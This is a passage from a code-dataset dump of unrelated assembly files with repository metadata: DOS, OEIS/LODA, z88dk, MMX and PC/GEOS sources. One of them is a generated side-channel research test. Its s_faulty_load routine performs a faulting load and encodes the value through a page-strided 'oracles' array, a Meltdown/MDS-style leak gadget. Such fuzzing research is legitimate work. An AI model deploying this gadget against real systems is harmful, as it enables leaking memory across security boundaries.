0a,0a,0a,0a,0d4,0d4,0d4,0d4 dmamoderegs: DW 0b,0b,0b,0b,0d6,0d6,0d6,0d6 dmaclearregs: DW 0c,0c,0c,0c,0d8,0d8,0d8,0d8
13.637398
76
0.617106
51ba1f460bcaae92906cdd1955645e75303f788a
948
asm
Assembly
hex2bin.asm
suriya-1403/Assemble-language
2e389341ff4c95a5c43b1653d1bf8071a52e7da7
[ "MIT" ]
null
null
null
hex2bin.asm
suriya-1403/Assemble-language
2e389341ff4c95a5c43b1653d1bf8071a52e7da7
[ "MIT" ]
null
null
null
hex2bin.asm
suriya-1403/Assemble-language
2e389341ff4c95a5c43b1653d1bf8071a52e7da7
[ "MIT" ]
null
null
null
ASSUME CS:CODE,DS:DATA DATA SEGMENT STR DB 'BINARY NUMBER: $' BSTR DB 20 DUP('$') RSTR DB 20 DUP('$') NL DB 13,10,'$' CNT DB 0 N DB 2 H DB 16 D DB 10H NUM DB ? SNUM DB ? HNUM DB 19H DATA ENDS CODE SEGMENT START: MOV AX,DATA MOV DS,AX MOV CX,0000 MOV DX,0000 L1: MOV AX,00 MOV AL,HNUM DIV D MOV HNUM,AL MOV BX,AX MOV CL,CNT MOV AX,1 L2: CMP CL,00 JE L3 MUL H SUB CL,1 JMP L2 L3: MUL BH ADD DX,AX ADD CNT,1 CMP HNUM,0 JG L1 MOV NUM,DL LEA SI,BSTR LEA DI,RSTR L4: MOV AX,00 MOV AL,NUM DIV N ADD AH,30H MOV BYTE PTR[SI],AH INC SI MOV NUM,AL CMP AL,0 JG L4 DEC SI L5: MOV BL,BYTE PTR[SI] MOV BYTE PTR[DI],BL DEC SI INC DI CMP SI,0 JNE L5 MOV AH,09H LEA DX,STR INT 21H MOV AH,09H LEA DX,RSTR INT 21H HLT CODE ENDS END START
12.986301
29
0.527426
1abe5e245bf494297b57bdd138c9460bcd448bf8
248
asm
Assembly
programs/oeis/120/A120520.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/120/A120520.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/120/A120520.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A120520: a(n) = min{j : A120509(j) = n}. ; 1,4,5,6,10,11,12,13,15,16,17,18,20,21,22,23,28,29,30,31,33,34,35,36,38,39,40,41,43,44,45,46,49,50,51,52,54,55,56,57,59,60,61,62,64,65,66,67,70,71 lpb $0,1 add $1,$0 div $0,4 add $1,2 lpe add $1,1
24.8
147
0.58871
ce9aaee4c3dd1be4575d114e1890bd9a668378da
154
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc_div2.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc_div2.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc_div2.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math16 PUBLIC cm16_sdcc_div2 EXTERN cm16_sdcc_read1 EXTERN asm_f16_div2 .cm16_sdcc_div2 call cm16_sdcc_read1 jp asm_f16_div2
11.846154
24
0.824675
87e2b57b39de8ebb31b29742f7a9e4b502fc33ae
1,378
asm
Assembly
programs/oeis/005/A005971.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/005/A005971.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/005/A005971.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A005971: Sum of cubes of Lucas numbers. ; 1,28,92,435,1766,7598,31987,135810,574786,2435653,10316252,43702500,185123261,784200368,3321916912,14071880655,59609419066,252509590018,1069647725567,4531100578950,19194049901126,81307300410353,344423251175392,1459000305705960,6180424473038041,26180698199413348,110903217268175012,469793567276185035,1990077486366327086,8430103512752153078,35710491537357691627,151272069662210827050,640798770186155844586,2714467150406907268093,11498667371813666699012,48709136637661765344780,206335213922460418579541,874049992327503940442168,3702535183232475370070392,15684190725257406731780775,66439298084262100175858626,281441383062305810867607178,1192204830333485338092560567,5050260704396247172223968110,21393247647918474012448587566,90623251296070143245544282473,383886252832199046956559907912,1626168262624866331133375687760,6888559303331664371390405075761,29180405475951523816856245347628,123610181207137759638554479526252,523621130304502562371496319749475,2218094702425148009123856695287286,9395999940005094598868028320432318,39802094462445526404594181694245987,168604377789787200217247648599720530,714219605621594327273580094308053266 mov $2,$0 mov $3,$0 add $3,1 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 seq $0,204 ; Lucas numbers (beginning with 1): L(n) = L(n-1) + L(n-2) with L(1) = 1, L(2) = 3. pow $0,3 add $1,$0 lpe mov $0,$1
86.125
1,129
0.874456
850a5cbb518e6ba0d5954cd448d4d8574925a9aa
7,710
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1413.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1413.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1413.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0xc38c, %rsi nop xor $762, %r15 movb (%rsi), %al nop nop nop nop nop and %rcx, %rcx lea addresses_UC_ht+0xb054, %rcx dec %r11 and $0xffffffffffffffc0, %rcx vmovntdqa (%rcx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi nop and $44400, %rsi lea addresses_WC_ht+0x1110c, %r15 nop nop nop nop nop add $60817, %r14 movw $0x6162, (%r15) and $45618, %rax lea addresses_A_ht+0xb60c, %rsi lea addresses_normal_ht+0x19be4, %rdi nop nop nop sub $10726, %r8 mov $21, %rcx rep movsq nop nop dec %r11 lea addresses_WC_ht+0xb35c, %rax nop sub %r11, %r11 mov (%rax), %rdi nop nop nop add %r8, %r8 lea addresses_normal_ht+0x1133c, %rsi lea addresses_WT_ht+0x12f0e, %rdi nop nop nop nop nop and %r8, %r8 mov $3, %rcx rep movsw nop nop xor $15661, %rdi lea addresses_normal_ht+0xfd0c, %rax nop nop nop xor $19840, %r8 movb (%rax), %cl xor %r14, %r14 lea addresses_UC_ht+0x18f6c, %r8 nop nop nop add $12622, %rax movw $0x6162, (%r8) nop nop and $63426, %r14 lea addresses_normal_ht+0x1806c, %r15 nop nop nop nop nop sub %rsi, %rsi vmovups (%r15), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rax add $26971, %r11 lea addresses_A_ht+0x1258c, %rsi lea addresses_WT_ht+0x950c, %rdi clflush (%rsi) nop nop nop nop cmp $33335, %r15 mov $24, %rcx rep movsq nop nop nop nop nop sub $51164, %r8 lea addresses_WC_ht+0x87dc, %r8 and $11429, %r11 mov $0x6162636465666768, %r15 movq %r15, %xmm5 movups %xmm5, (%r8) nop nop nop cmp %r11, %r11 lea addresses_WT_ht+0x1290c, %rsi nop cmp $13922, %r11 mov (%rsi), %r14d nop nop nop nop nop cmp %r8, %r8 lea addresses_A_ht+0x14e64, %rdi nop nop nop sub %r14, %r14 movb (%rdi), %r8b sub %r15, %r15 lea addresses_A_ht+0x1db53, %rsi lea addresses_UC_ht+0x1a3ec, %rdi clflush (%rdi) nop nop nop nop xor %r8, %r8 mov $96, %rcx rep movsb and $33544, %r14 lea addresses_D_ht+0x1848c, %r15 and %rax, %rax mov (%r15), %r8 nop dec %r8 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %rax push %rbp push %rdi push %rdx // Faulty Load lea addresses_WC+0x350c, %r12 sub %rax, %rax mov (%r12), %edx lea oracles, %r13 and $0xff, %rdx shlq $12, %rdx mov (%r13,%rdx,1), %rdx pop %rdx pop %rdi pop %rbp pop %rax pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
35.860465
2,999
0.656161
8aa0c4fa08b7e5b62651524bc147873251ffeade
928
asm
Assembly
oeis/055/A055067.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/055/A055067.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/055/A055067.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A055067: Product of numbers < n which do not divide n (or 1 if no such numbers exist). ; 1,1,2,3,24,20,720,630,13440,36288,3628800,277200,479001600,444787200,5811886080,20432412000,20922789888000,1097800704000,6402373705728000,304112751022080,115852476579840000,2322315553259520000,1124000727777607680000,1870082229375360000,124089680346647887872000,596585001666576384000000,14936720782466875392000000,13888864094921367552000000,304888344611713860501504000000,327472666434803776094208000,265252859812191058636308480000000,8030115873220627751685120000000,7973661725263440308097515520000000 add $0,1 mov $1,1 mov $3,$0 mov $4,$0 lpb $3 mov $5,$4 mov $6,0 lpb $5 mov $6,8 mov $7,$0 mov $8,$2 cmp $8,0 add $2,$8 div $0,$2 mod $7,$2 cmp $7,0 sub $5,$7 lpe mov $0,$4 cmp $6,0 mov $7,$2 pow $7,$6 mul $1,$7 add $2,1 mov $7,$4 cmp $7,1 cmp $7,0 sub $3,$7 lpe mov $0,$1
27.294118
501
0.727371
9ea01e5b7cb5e61b78428e364ce0fe4ab6030ae0
1,082
asm
Assembly
Windows/Visual Studio/MmxShift/MmxShift/MmxShifter.asm
leonhad/masm
f5739a8c8c6c461f9e928576ff36f7991541959b
[ "MIT" ]
9
2020-05-29T14:03:07.000Z
2021-06-17T07:56:26.000Z
Windows/Visual Studio/MmxShift/MmxShift/MmxShifter.asm
leonhad/masm
f5739a8c8c6c461f9e928576ff36f7991541959b
[ "MIT" ]
null
null
null
Windows/Visual Studio/MmxShift/MmxShift/MmxShifter.asm
leonhad/masm
f5739a8c8c6c461f9e928576ff36f7991541959b
[ "MIT" ]
4
2021-04-17T17:41:54.000Z
2022-03-13T16:06:39.000Z
.MODEL flat, c .CODE MmxShifter PROC push ebp mov ebp, esp xor eax, eax mov edx, [ebp+16] ; edx = shift_op cmp edx, ShiftOpTableCount jae BadShiftOp ; invalid operation mov eax, 1 ; set success return code movq mm0, [ebp+8] ; loads a movd mm1, dword ptr[ebp+20] ; load count into low dword jmp [ShiftOpTable+edx*4] MmxPsllw: psllw mm0, mm1 ; shift left logical word jmp SaveResult MmxPsrlw: psrlw mm0, mm1 ; shift right logical word jmp SaveResult MmxPsraw: psraw mm0, mm1 ; shift right arithmetic word jmp SaveResult MmxPslld: pslld mm0, mm1 ; shift left logical dword jmp SaveResult MmxPsrld: psrld mm0, mm1 ; shift right logical dword jmp SaveResult MmxPsrad: psrad mm0, mm1 ; shift right arithmetic dword jmp SaveResult BadShiftOp: pxor xmm0, xmm0 SaveResult: mov edx, [ebp+24] ; edx = *b movq [edx], mm0 ; *b = mm0 emms pop ebp ret ALIGN 4 ShiftOpTable: dword MmxPsllw, MmxPsrlw, MmxPsraw dword MmxPslld, MmxPsrld, MmxPsrad ShiftOpTableCount equ ($-ShiftOpTable) / size dword MmxShifter ENDP END
18.033333
56
0.7061
d64d7c3bd1cf8e74a877b37e54c5e1fe9bcb755b
324
asm
Assembly
programs/oeis/040/A040575.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/040/A040575.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/040/A040575.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A040575: Continued fraction for sqrt(600). ; 24,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48,2,48 mov $1,$0 cmp $0,0 sub $1,$0 gcd $1,2 add $1,10 add $0,$1 mul $0,$1 sub $0,120 mul $0,2
24.923077
189
0.601852
3959d60038d75b34c47c3a78f69d013d8ebffef7
51,538
asm
Assembly
Library/Spell/ICS/geos_asmcalls.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Spell/ICS/geos_asmcalls.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Spell/ICS/geos_asmcalls.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved PROJECT: Spell Check Library FILE: geos_calls.asm AUTHOR: Andrew Wilson, Mar 8, 1991 ROUTINES: Name Description ---- ----------- GEOSopen Generic open() call for PRIVDATA GEOScreate Generic create() call for PRIVDATA GEOSclose Generic close() call GEOSread Generic read() call GEOSfarread Generic farread() call GEOSfarwrite Generic farwrite() call GEOStruncate Generic truncate() call GEOSlseek Generic lseek() call GEOSdelete Generic delete() call for PRIVDATA GEOSrename Generic rename() call for PRIVDATA GEOSMemAlloc Allocate memory on the global heap GEOSMemFree Free memory on the global heap GEOSMemLock Lock memory on the global heap GEOSMemUnlock Unlock memory on the global heap THESHYPHENopen Generic open() call for PUBDATA THESHYPHENcreate Generic create() call for PUBDATA THESHYPHENdelete Generic delete() call for PUBDATA THESHYPHENrename Generic rename() call for PUBDATA REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial revision DESCRIPTION: $Id: geos_asmcalls.asm,v 1.1 97/04/07 11:06:09 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ idata segment idata ends udata segment currentMode FilePosMode (?) currentHandle hptr (?) currentOffset dword (?) cachedMode FilePosMode (?) cachedHandle hptr (?) cachedOffset dword (?) cacheBlock hptr (?) SPELL_CACHE_SIZE equ 512 udata ends .model medium, pascal CODE segment COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GotoSpellCheckDir %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Goes to the spell check directory. CALLED BY: GLOBAL PASS: nada RETURN: carry set if couldn't go to directory with dictionaries DESTROYED: ax, dx PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/12/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GotoSpellCheckDir proc near uses ds .enter if not FLOPPY_BASED_USER_DICT mov ax, SP_PRIVATE_DATA call FileSetStandardPath clr bx segmov ds, cs mov dx, offset dictDirName call FileSetCurrentPath jnc exit ; Create it if it doesn't exist call FileCreateDir jc exit call FileSetCurrentPath ;Change to that directory else ; ; In floppy-based-systems, if there's a disk in the doc drive, we'll ; use it; otherwise, we'll use SP_TOP to keep things working. ; 2/24/94 cbh ; mov al, DOCUMENT_DRIVE_NUM call DiskRegisterDisk mov ax, SP_DOCUMENT jnc setPath mov ax, SP_TOP setPath: call FileSetStandardPath endif exit: .leave ret GotoSpellCheckDir endp SBCS <dictDirName char "DICTS",0 > DBCS <dictDirName wchar "DICTS",0 > ifdef __BORLANDC__ global GEOSSETDICTPATH:far GEOSSETDICTPATH proc far else global GEOSsetDictPath:far GEOSsetDictPath proc far endif uses ds .enter mov bx, SP_PUBLIC_DATA segmov ds, cs mov dx, offset dictDirName call FileSetCurrentPath mov ax, 0 ;return 0 for failure jc exit dec ax ;return -1 for success exit: .leave ret ifdef __BORLANDC__ GEOSSETDICTPATH endp else GEOSsetDictPath endp endif ifdef __BORLANDC__ global GEOSFILEOPEN:far GEOSFILEOPEN proc far fname:fptr, else global GEOSfileOpen:far GEOSfileOpen proc far fname:fptr, endif flags:word SBCS < uses ds > DBCS < uses ds, si, es, di > .enter if DBCS_PCGEOS sub sp, (size FileLongName) mov bx, ss mov es, bx ; es:di = DBCS fname buffer on stack mov di, sp mov bx, sp lds si, fname ; ds:si = passed SBCS fname mov cx, FILE_LONGNAME_LENGTH-1 push ax clr ah copyLoop: lodsb stosw loop copyLoop clr ax ; ensure null-terminated stosw pop ax segmov ds, ss ; ds:dx = DBCS fname on stack mov dx, bx else lds dx, fname endif mov ax, flags call FileOpen ; ax = handle DBCS < lea sp, ss:[bx][(size FileLongName)] > jc error ; return handle xchg bx, ax mov ax, handle 0 call HandleModifyOwner xchg bx, ax clc exit: .leave ret error: mov ax, 0 ;return 0 for failure jmp exit ifdef __BORLANDC__ GEOSFILEOPEN endp else GEOSfileOpen endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOSopen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSOpen C DECLARATION extern int GEOSOpen(char *fname); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSOPEN:far GEOSOPEN proc far fname:fptr, flags:word else global GEOSopen:far GEOSopen proc far fname:fptr, flags:word endif uses ds .enter if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, fname > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif tst fname.segment ;If null offset to path, exit (invalid) jz errorExit call FilePushDir call GotoSpellCheckDir ;Go to standard spell check directory jc errorExit lds dx, fname ;*DS:DX <- filename mov ax, flags call CommonSpellOpen ; carry set on error jnc exit errorExit: mov ax, -1 ;Signify an error in opening the file. exit: call FilePopDir .leave ret ifdef __BORLANDC__ GEOSOPEN endp else GEOSopen endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOSdelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSDelete C DECLARATION extern int GEOSDelete(char *fname); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSDELETE:far GEOSDELETE proc far fname:fptr else global GEOSdelete:far GEOSdelete proc far fname:fptr endif uses ds .enter call FilePushDir call GotoSpellCheckDir ;Go to standard spell check directory jc errorExit lds dx, fname ;DS:DX <- ptr to filename call CommonSpellDelete ;carry set on error jnc exit ;Exit if no error errorExit: mov ax, -1 ;Signify an error in opening the file. exit: call FilePopDir .leave ret ifdef __BORLANDC__ GEOSDELETE endp else GEOSdelete endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOSrename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSRename C DECLARATION extern int GEOSRename(char *oldname, char *newname); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSRENAME:far GEOSRENAME proc far oldname:fptr, newname:fptr else global GEOSrename:far GEOSrename proc far oldname:fptr, newname:fptr endif uses di, es, ds .enter if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, oldname EC < call ECAssertValidFarPointerXIP > EC < movdw bxsi, newname EC < 